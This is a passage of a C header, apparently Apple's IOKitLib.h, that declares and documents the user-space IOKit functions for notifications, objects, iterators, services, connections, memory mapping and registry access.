for the specific language governing rights and * limitations under the License. * * @APPLE_LICENSE_HEADER_END@ */ /* * HISTORY * */ /* * IOKit user library */ #ifndef _IOKIT_IOKITLIB_H #define _IOKIT_IOKITLIB_H #ifdef KERNEL #error This file is not for kernel use #endif #include #include #include #include #include #include #include #include "IOTypes.h" #include "IOKitKeys.h" #include "OSMessageNotification.h" #include #include __BEGIN_DECLS /*! @header IOKitLib IOKitLib implements non-kernel task access to common IOKit object types - IORegistryEntry, IOService, IOIterator etc. These functions are generic - families may provide API that is more specific.
IOKitLib represents IOKit objects outside the kernel with the types io_object_t, io_registry_entry_t, io_service_t, & io_connect_t. Function names usually begin with the type of object they are compatible with - eg. IOObjectRelease can be used with any io_object_t. Inside the kernel, the c++ class hierarchy allows the subclasses of each object type to receive the same requests from user level clients, for example in the kernel, IOService is a subclass of IORegistryEntry, which means any of the IORegistryEntryXXX functions in IOKitLib may be used with io_service_t's as well as io_registry_t's. There are functions available to introspect the class of the kernel object which any io_object_t et al. represents. IOKit objects returned by all functions should be released with IOObjectRelease. */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ typedef struct IONotificationPort * IONotificationPortRef; /*! @typedef IOServiceMatchingCallback @abstract Callback function to be notified of IOService publication. @param refcon The refcon passed when the notification was installed. @param iterator The notification iterator which now has new objects. */ typedef void (*IOServiceMatchingCallback)( void * refcon, io_iterator_t iterator ); /*! @typedef IOServiceInterestCallback @abstract Callback function to be notified of changes in state of an IOService. @param refcon The refcon passed when the notification was installed. @param service The IOService whose state has changed. @param messageType A messageType enum, defined by IOKit/IOMessage.h or by the IOService's family. @param messageArgument An argument for the message, dependent on the messageType. If the message data is larger than sizeof(void*), then messageArgument contains a pointer to the message data; otherwise, messageArgument contains the message data. */ typedef void (*IOServiceInterestCallback)( void * refcon, io_service_t service, uint32_t messageType, void * messageArgument ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @const kIOMasterPortDefault @abstract The default mach port used to initiate communication with IOKit. @discussion When specifying a master port to IOKit functions, the NULL argument indicates "use the default". This is a synonym for NULL, if you'd rather use a named constant. */ extern const mach_port_t kIOMasterPortDefault; /*! @function IOMasterPort @abstract Returns the mach port used to initiate communication with IOKit. @discussion Functions that don't specify an existing object require the IOKit master port to be passed. This function obtains that port. @param bootstrapPort Pass MACH_PORT_NULL for the default. @param masterPort The master port is returned. @result A kern_return_t error code. */ kern_return_t IOMasterPort( mach_port_t bootstrapPort, mach_port_t * masterPort ); /*! @function IONotificationPortCreate @abstract Creates and returns a notification object for receiving IOKit notifications of new devices or state changes. @discussion Creates the notification object to receive notifications from IOKit of new device arrivals or state changes. The notification object can be supply a CFRunLoopSource, or mach_port_t to be used to listen for events. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @result A reference to the notification object. */ IONotificationPortRef IONotificationPortCreate( mach_port_t masterPort ); /*! @function IONotificationPortDestroy @abstract Destroys a notification object created with IONotificationPortCreate. Also destroys any mach_port's or CFRunLoopSources obatined from @link IONotificationPortGetRunLoopSource @/link or @link IONotificationPortGetMachPort @/link @param notify A reference to the notification object. */ void IONotificationPortDestroy( IONotificationPortRef notify ); /*! @function IONotificationPortGetRunLoopSource @abstract Returns a CFRunLoopSource to be used to listen for notifications. @discussion A notification object may deliver notifications to a CFRunLoop by adding the run loop source returned by this function to the run loop. The caller should not release this CFRunLoopSource. Just call @link IONotificationPortDestroy @/link to dispose of the IONotificationPortRef and the CFRunLoopSource when done. @param notify The notification object. @result A CFRunLoopSourceRef for the notification object. */ CFRunLoopSourceRef IONotificationPortGetRunLoopSource( IONotificationPortRef notify ); /*! @function IONotificationPortGetMachPort @abstract Returns a mach_port to be used to listen for notifications. @discussion A notification object may deliver notifications to a mach messaging client if they listen for messages on the port obtained from this function. Callbacks associated with the notifications may be delivered by calling IODispatchCalloutFromMessage with messages received. The caller should not release this mach_port_t. Just call @link IONotificationPortDestroy @/link to dispose of the mach_port_t and IONotificationPortRef when done. @param notify The notification object. @result A mach_port for the notification object. */ mach_port_t IONotificationPortGetMachPort( IONotificationPortRef notify ); /*! @function IONotificationPortSetImportanceReceiver @abstract Configure a notification port to be an importance receiver. @discussion Sets the MACH_PORT_IMPORTANCE_RECEIVER attribute on the underlying mach port. Importance-donating messages sent to a notification port with this attribute enabled will boost the importance of the receiving process for the duration of the notification handler. @param notify The notification object. @result A kern_return_t error code. */ kern_return_t IONotificationPortSetImportanceReceiver( IONotificationPortRef notify ); /*! @function IONotificationPortSetDispatchQueue @abstract Sets a dispatch queue to be used to listen for notifications. @discussion A notification object may deliver notifications to a dispatch client. @param notify The notification object. @param queue A dispatch queue. */ void IONotificationPortSetDispatchQueue( IONotificationPortRef notify, dispatch_queue_t queue ) __OSX_AVAILABLE_STARTING(__MAC_10_6, __IPHONE_4_3); /*! @function IODispatchCalloutFromMessage @abstract Dispatches callback notifications from a mach message. @discussion A notification object may deliver notifications to a mach messaging client, which should call this function to generate the callbacks associated with the notifications arriving on the port. @param unused Not used, set to zero. @param msg A pointer to the message received. @param reference Pass the IONotificationPortRef for the object. */ void IODispatchCalloutFromMessage( void *unused, mach_msg_header_t *msg, void *reference ); /*! @function IOCreateReceivePort @abstract Creates and returns a mach port suitable for receiving IOKit messages of the specified type. @discussion In the future IOKit may use specialized messages and ports instead of the standard ports created by mach_port_allocate(). Use this function instead of mach_port_allocate() to ensure compatibility with future revisions of IOKit. @param msgType Type of message to be sent to this port (kOSNotificationMessageID or kOSAsyncCompleteMessageID) @param recvPort The created port is returned. @result A kern_return_t error code. */ kern_return_t IOCreateReceivePort( uint32_t msgType, mach_port_t * recvPort ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOObject */ /*! @function IOObjectRelease @abstract Releases an object handle previously returned by IOKitLib. @discussion All objects returned by IOKitLib should be released with this function when access to them is no longer needed. Using the object after it has been released may or may not return an error, depending on how many references the task has to the same object in the kernel. @param object The IOKit object to release. @result A kern_return_t error code. */ kern_return_t IOObjectRelease( io_object_t object ); /*! @function IOObjectRetain @abstract Retains an object handle previously returned by IOKitLib. @discussion Gives the caller an additional reference to an existing object handle previously returned by IOKitLib. @param object The IOKit object to retain. @result A kern_return_t error code. */ kern_return_t IOObjectRetain( io_object_t object ); /*! @function IOObjectGetClass @abstract Return the class name of an IOKit object. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the class the object is an instance of. @param object The IOKit object. @param className Caller allocated buffer to receive the name string. @result A kern_return_t error code. */ kern_return_t IOObjectGetClass( io_object_t object, io_name_t className ); /*! @function IOObjectCopyClass @abstract Return the class name of an IOKit object. @discussion This function does the same thing as IOObjectGetClass, but returns the result as a CFStringRef. @param object The IOKit object. @result The resulting CFStringRef. This should be released by the caller. If a valid object is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopyClass(io_object_t object) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function IOObjectCopySuperclassForClass @abstract Return the superclass name of the given class. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the superclass of the class. @param classname The name of the class as a CFString. @result The resulting CFStringRef. This should be released by the caller. If there is no superclass, or a valid class name is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopySuperclassForClass(CFStringRef classname) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function IOObjectCopyBundleIdentifierForClass @abstract Return the bundle identifier of the given class. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the kmod, which is the same as the bundle identifier. @param classname The name of the class as a CFString. @result The resulting CFStringRef. This should be released by the caller. If a valid class name is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef classname) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function IOObjectConformsTo @abstract Performs an OSDynamicCast operation on an IOKit object. @discussion This function uses the OSMetaClass system in the kernel to determine if the object will dynamic cast to a class, specified as a C-string. In other words, if the object is of that class or a subclass. @param object An IOKit object. @param className The name of the class, as a C-string. @result If the object handle is valid, and represents an object in the kernel that dynamic casts to the class true is returned, otherwise false. */ boolean_t IOObjectConformsTo( io_object_t object, const io_name_t className ); /*! @function IOObjectIsEqualTo @abstract Checks two object handles to see if they represent the same kernel object. @discussion If two object handles are returned by IOKitLib functions, this function will compare them to see if they represent the same kernel object. @param object An IOKit object. @param anObject Another IOKit object. @result If both object handles are valid, and represent the same object in the kernel true is returned, otherwise false. */ boolean_t IOObjectIsEqualTo( io_object_t object, io_object_t anObject ); /*! @function IOObjectGetKernelRetainCount @abstract Returns kernel retain count of an IOKit object. @discussion This function may be used in diagnostics to determine the current retain count of the kernel object at the kernel level. @param object An IOKit object. @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */ uint32_t IOObjectGetKernelRetainCount( io_object_t object ) AVAILABLE_MAC_OS_X_VERSION_10_6_AND_LATER; /*! @function IOObjectGetUserRetainCount @abstract Returns the retain count for the current process of an IOKit object. @discussion This function may be used in diagnostics to determine the current retain count for the calling process of the kernel object. @param object An IOKit object. @result If the object handle is valid, the objects user retain count is returned, otherwise zero is returned. */ uint32_t IOObjectGetUserRetainCount( io_object_t object ) AVAILABLE_MAC_OS_X_VERSION_10_6_AND_LATER; /*! @function IOObjectGetRetainCount @abstract Returns kernel retain count of an IOKit object. Identical to IOObjectGetKernelRetainCount() but available prior to Mac OS 10.6. @discussion This function may be used in diagnostics to determine the current retain count of the kernel object at the kernel level. @param object An IOKit object. @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */ uint32_t IOObjectGetRetainCount( io_object_t object ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOIterator, subclass of IOObject */ /*! @function IOIteratorNext @abstract Returns the next object in an iteration. @discussion This function returns the next object in an iteration, or zero if no more remain or the iterator is invalid. @param iterator An IOKit iterator handle. @result If the iterator handle is valid, the next element in the iteration is returned, otherwise zero is returned. The element should be released by the caller when it is finished. */ io_object_t IOIteratorNext( io_iterator_t iterator ); /*! @function IOIteratorReset @abstract Resets an iteration back to the beginning. @discussion If an iterator is invalid, or if the caller wants to start over, IOIteratorReset will set the iteration back to the beginning. @param iterator An IOKit iterator handle. */ void IOIteratorReset( io_iterator_t iterator ); /*! @function IOIteratorIsValid @abstract Checks an iterator is still valid. @discussion Some iterators will be made invalid if changes are made to the structure they are iterating over. This function checks the iterator is still valid and should be called when IOIteratorNext returns zero. An invalid iterator can be reset and the iteration restarted. @param iterator An IOKit iterator handle. @result True if the iterator handle is valid, otherwise false is returned. */ boolean_t IOIteratorIsValid( io_iterator_t iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOService, subclass of IORegistryEntry */ /*! @function IOServiceGetMatchingService @abstract Look up a registered IOService object that matches a matching dictionary. @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching. @result The first service matched is returned on success. The service must be released by the caller. */ io_service_t IOServiceGetMatchingService( mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT); /*! @function IOServiceGetMatchingServices @abstract Look up registered IOService objects that match a matching dictionary. @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching. @param existing An iterator handle, or NULL, is returned on success, and should be released by the caller when the iteration is finished. If NULL is returned, the iteration was successful but found no matching services. @result A kern_return_t error code. */ kern_return_t IOServiceGetMatchingServices( mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t * existing ); kern_return_t IOServiceAddNotification( mach_port_t masterPort, const io_name_t notificationType, CFDictionaryRef matching, mach_port_t wakePort, uintptr_t reference, io_iterator_t * notification ) DEPRECATED_ATTRIBUTE; /*! @function IOServiceAddMatchingNotification @abstract Look up registered IOService objects that match a matching dictionary, and install a notification request of new IOServices that match. @discussion This is the preferred method of finding IOService objects that may arrive at any time. The type of notification specifies the state change the caller is interested in, on IOService's that match the match dictionary. Notification types are identified by name, and are defined in IOKitKeys.h. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the armed notification is fired. When the notification is delivered, the io_iterator_t representing the notification should be iterated through to pick up all outstanding objects. When the iteration is finished the notification is rearmed. See IONotificationPortCreate. @param notificationType A notification type from IOKitKeys.h
kIOPublishNotification Delivered when an IOService is registered.
kIOFirstPublishNotification Delivered when an IOService is registered, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
kIOMatchedNotification Delivered when an IOService has had all matching drivers in the kernel probed and started.
kIOFirstMatchNotification Delivered when an IOService has had all matching drivers in the kernel probed and started, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
kIOTerminatedNotification Delivered after an IOService has been terminated. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching. @param callback A callback function called when the notification fires. @param refCon A reference constant for the callbacks use. @param notification An iterator handle is returned on success, and should be released by the caller when the notification is to be destroyed. The notification is armed when the iterator is emptied by calls to IOIteratorNext - when no more objects are returned, the notification is armed. Note the notification is not armed when first created. @result A kern_return_t error code. */ kern_return_t IOServiceAddMatchingNotification( IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching CF_RELEASES_ARGUMENT, IOServiceMatchingCallback callback, void * refCon, io_iterator_t * notification ); /*! @function IOServiceAddInterestNotification @abstract Register for notification of state changes in an IOService. @discussion IOService objects deliver notifications of their state changes to their clients via the IOService::messageClients API, and to other interested parties including callers of this function. Message types are defined IOKit/IOMessage.h. @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the notification is fired. See IONotificationPortCreate. @param interestType A notification type from IOKitKeys.h
kIOGeneralInterest General state changes delivered via the IOService::messageClients API.
kIOBusyInterest Delivered when the IOService changes its busy state to or from zero. The message argument contains the new busy state causing the notification. @param callback A callback function called when the notification fires, with messageType and messageArgument for the state change. @param refCon A reference constant for the callbacks use. @param notification An object handle is returned on success, and should be released by the caller when the notification is to be destroyed. @result A kern_return_t error code. */ kern_return_t IOServiceAddInterestNotification( IONotificationPortRef notifyPort, io_service_t service, const io_name_t interestType, IOServiceInterestCallback callback, void * refCon, io_object_t * notification ); /*! @function IOServiceMatchPropertyTable @abstract Match an IOService objects with matching dictionary. @discussion This function calls the matching method of an IOService object and returns the boolean result. @param service The IOService object to match. @param matching A CF dictionary containing matching information. IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching. @param matches The boolean result is returned. @result A kern_return_t error code. */ kern_return_t IOServiceMatchPropertyTable( io_service_t service, CFDictionaryRef matching, boolean_t * matches ); /*! @function IOServiceGetBusyState @abstract Returns the busyState of an IOService. @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. @param service The IOService whose busyState to return. @param busyState The busyState count is returned. @result A kern_return_t error code. */ kern_return_t IOServiceGetBusyState( io_service_t service, uint32_t * busyState ); /*! @function IOServiceWaitQuiet @abstract Wait for an IOService's busyState to be zero. @discussion Blocks the caller until an IOService is non busy, see IOServiceGetBusyState. @param service The IOService wait on. @param waitTime Specifies a maximum time to wait. @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ kern_return_t IOServiceWaitQuiet( io_service_t service, mach_timespec_t * waitTime ); /*! @function IOKitGetBusyState @abstract Returns the busyState of all IOServices. @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. IOKitGetBusyState returns the busy state of the root of the service plane which reflects the busy state of all IOServices. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param busyState The busyState count is returned. @result A kern_return_t error code. */ kern_return_t IOKitGetBusyState( mach_port_t masterPort, uint32_t * busyState ); /*! @function IOKitWaitQuiet @abstract Wait for a all IOServices' busyState to be zero. @discussion Blocks the caller until all IOServices are non busy, see IOKitGetBusyState. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param waitTime Specifies a maximum time to wait. @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ kern_return_t IOKitWaitQuiet( mach_port_t masterPort, mach_timespec_t * waitTime ); /*! @function IOServiceOpen @abstract A request to create a connection to an IOService. @discussion A non kernel client may request a connection be opened via the IOServiceOpen() library function, which will call IOService::newUserClient in the kernel. The rules & capabilities of user level clients are family dependent, the default IOService implementation returns kIOReturnUnsupported. @param service The IOService object to open a connection to, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param owningTask The mach task requesting the connection. @param type A constant specifying the type of connection to be created, interpreted only by the IOService's family. @param connect An io_connect_t handle is returned on success, to be used with the IOConnectXXX APIs. It should be destroyed with IOServiceClose(). @result A return code generated by IOService::newUserClient. */ kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t * connect ); /*! @function IOServiceRequestProbe @abstract A request to rescan a bus for device changes. @discussion A non kernel client may request a bus or controller rescan for added or removed devices, if the bus family does automatically notice such changes. For example, SCSI bus controllers do not notice device changes. The implementation of this routine is family dependent, and the default IOService implementation returns kIOReturnUnsupported. @param service The IOService object to request a rescan, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param options An options mask, interpreted only by the IOService's family. @result A return code generated by IOService::requestProbe. */ kern_return_t IOServiceRequestProbe( io_service_t service, uint32_t options ); // options for IOServiceAuthorize() enum { kIOServiceInteractionAllowed = 0x00000001 }; /*! @function IOServiceAuthorize @abstract Authorize access to an IOService. @discussion Determine whether this application is authorized to invoke IOServiceOpen() for a given IOService, either by confirming that it has been previously authorized by the user, or by soliciting the console user. @param service The IOService object to be authorized, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param options kIOServiceInteractionAllowed may be set to permit user interaction, if required. @result kIOReturnSuccess if the IOService is authorized, kIOReturnNotPermitted if the IOService is not authorized. */ kern_return_t IOServiceAuthorize( io_service_t service, uint32_t options ); int IOServiceOpenAsFileDescriptor( io_service_t service, int oflag ); /* * * * * * * * * * * * * * *ff * * * * * * * * * * * * * * * * * * * * * * */ /* * IOService connection */ /*! @function IOServiceClose @abstract Close a connection to an IOService and destroy the connect handle. @discussion A connection created with the IOServiceOpen should be closed when the connection is no longer to be used with IOServiceClose. @param connect The connect handle created by IOServiceOpen. It will be destroyed by this function, and should not be released with IOObjectRelease. @result A kern_return_t error code. */ kern_return_t IOServiceClose( io_connect_t connect ); /*! @function IOConnectAddRef @abstract Adds a reference to the connect handle. @discussion Adds a reference to the connect handle. @param connect The connect handle created by IOServiceOpen. @result A kern_return_t error code. */ kern_return_t IOConnectAddRef( io_connect_t connect ); /*! @function IOConnectRelease @abstract Remove a reference to the connect handle. @discussion Removes a reference to the connect handle. If the last reference is removed an implicit IOServiceClose is performed. @param connect The connect handle created by IOServiceOpen. @result A kern_return_t error code. */ kern_return_t IOConnectRelease( io_connect_t connect ); /*! @function IOConnectGetService @abstract Returns the IOService a connect handle was opened on. @discussion Finds the service object a connection was opened on. @param connect The connect handle created by IOServiceOpen. @param service On succes, the service handle the connection was opened on, which should be released with IOObjectRelease. @result A kern_return_t error code. */ kern_return_t IOConnectGetService( io_connect_t connect, io_service_t * service ); /*! @function IOConnectSetNotificationPort @abstract Set a port to receive family specific notifications. @discussion This is a generic method to pass a mach port send right to be be used by family specific notifications. @param connect The connect handle created by IOServiceOpen. @param type The type of notification requested, not interpreted by IOKit and family defined. @param port The port to which to send notifications. @param reference Some families may support passing a reference parameter for the callers use with the notification. @result A kern_return_t error code. */ kern_return_t IOConnectSetNotificationPort( io_connect_t connect, uint32_t type, mach_port_t port, uintptr_t reference ); /*! @function IOConnectMapMemory @abstract Map hardware or shared memory into the caller's task. @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller. @param connect The connect handle created by IOServiceOpen. @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings. @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection. @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess. @param ofSize The size of the mapping created is passed back on success. @result A kern_return_t error code. */ #if !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) kern_return_t IOConnectMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t *atAddress, vm_size_t *ofSize, IOOptionBits options ); #else kern_return_t IOConnectMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, mach_vm_address_t *atAddress, mach_vm_size_t *ofSize, IOOptionBits options ); #endif /* !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) */ /*! @function IOConnectMapMemory64 @abstract Map hardware or shared memory into the caller's task. @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller. @param connect The connect handle created by IOServiceOpen. @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings. @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection. @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess. @param ofSize The size of the mapping created is passed back on success. @result A kern_return_t error code. */ kern_return_t IOConnectMapMemory64( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, mach_vm_address_t *atAddress, mach_vm_size_t *ofSize, IOOptionBits options ); /*! @function IOConnectUnmapMemory @abstract Remove a mapping made with IOConnectMapMemory. @discussion This is a generic method to remove a mapping in the callers task. @param connect The connect handle created by IOServiceOpen. @param memoryType The memory type originally requested in IOConnectMapMemory. @param fromTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection. @param atAddress The address of the mapping to be removed. @result A kern_return_t error code. */ #if !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) kern_return_t IOConnectUnmapMemory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, vm_address_t atAddress ); #else kern_return_t IOConnectUnmapMemory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, mach_vm_address_t atAddress ); #endif /* !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) */ /*! @function IOConnectUnmapMemory64 @abstract Remove a mapping made with IOConnectMapMemory64. @discussion This is a generic method to remove a mapping in the callers task. @param connect The connect handle created by IOServiceOpen. @param memoryType The memory type originally requested in IOConnectMapMemory. @param fromTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection. @param atAddress The address of the mapping to be removed. @result A kern_return_t error code. */ kern_return_t IOConnectUnmapMemory64( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, mach_vm_address_t atAddress ); /*! @function IOConnectSetCFProperties @abstract Set CF container based properties on a connection. @discussion This is a generic method to pass a CF container of properties to the connection. The properties are interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. @param connect The connect handle created by IOServiceOpen. @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the family. */ kern_return_t IOConnectSetCFProperties( io_connect_t connect, CFTypeRef properties ); /*! @function IOConnectSetCFProperty @abstract Set a CF container based property on a connection. @discussion This is a generic method to pass a CF property to the connection. The property is interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. @param connect The connect handle created by IOServiceOpen. @param propertyName The name of the property as a CFString. @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IOConnectSetCFProperty( io_connect_t connect, CFStringRef propertyName, CFTypeRef property ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ // Combined LP64 & ILP32 Extended IOUserClient::externalMethod kern_return_t IOConnectCallMethod( mach_port_t connection, // In uint32_t selector, // In const uint64_t *input, // In uint32_t inputCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In uint64_t *output, // Out uint32_t *outputCnt, // In/Out void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const uint64_t *input, // In uint32_t inputCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In uint64_t *output, // Out uint32_t *outputCnt, // In/Out void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallStructMethod( mach_port_t connection, // In uint32_t selector, // In const void *inputStruct, // In size_t inputStructCnt, // In void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncStructMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallScalarMethod( mach_port_t connection, // In uint32_t selector, // In const uint64_t *input, // In uint32_t inputCnt, // In uint64_t *output, // Out uint32_t *outputCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncScalarMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const uint64_t *input, // In uint32_t inputCnt, // In uint64_t *output, // Out uint32_t *outputCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ kern_return_t IOConnectTrap0(io_connect_t connect, uint32_t index ); kern_return_t IOConnectTrap1(io_connect_t connect, uint32_t index, uintptr_t p1 ); kern_return_t IOConnectTrap2(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2); kern_return_t IOConnectTrap3(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3); kern_return_t IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4); kern_return_t IOConnectTrap5(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @function IOConnectAddClient @abstract Inform a connection of a second connection. @discussion This is a generic method to inform a family connection of a second connection, and is rarely used. @param connect The connect handle created by IOServiceOpen. @param client Another connect handle created by IOServiceOpen. @result A kern_return_t error code returned by the family. */ kern_return_t IOConnectAddClient( io_connect_t connect, io_connect_t client ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistry accessors */ /*! @function IORegistryGetRootEntry @abstract Return a handle to the registry root. @discussion This method provides an accessor to the root of the registry for the machine. The root may be passed to a registry iterator when iterating a plane, and contains properties that describe the available planes, and diagnostic information for IOKit. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @result A handle to the IORegistryEntry root instance, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryGetRootEntry( mach_port_t masterPort ); /*! @function IORegistryEntryFromPath @abstract Looks up a registry entry by path. @discussion This function parses paths to lookup registry entries. The path should begin with ':' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. 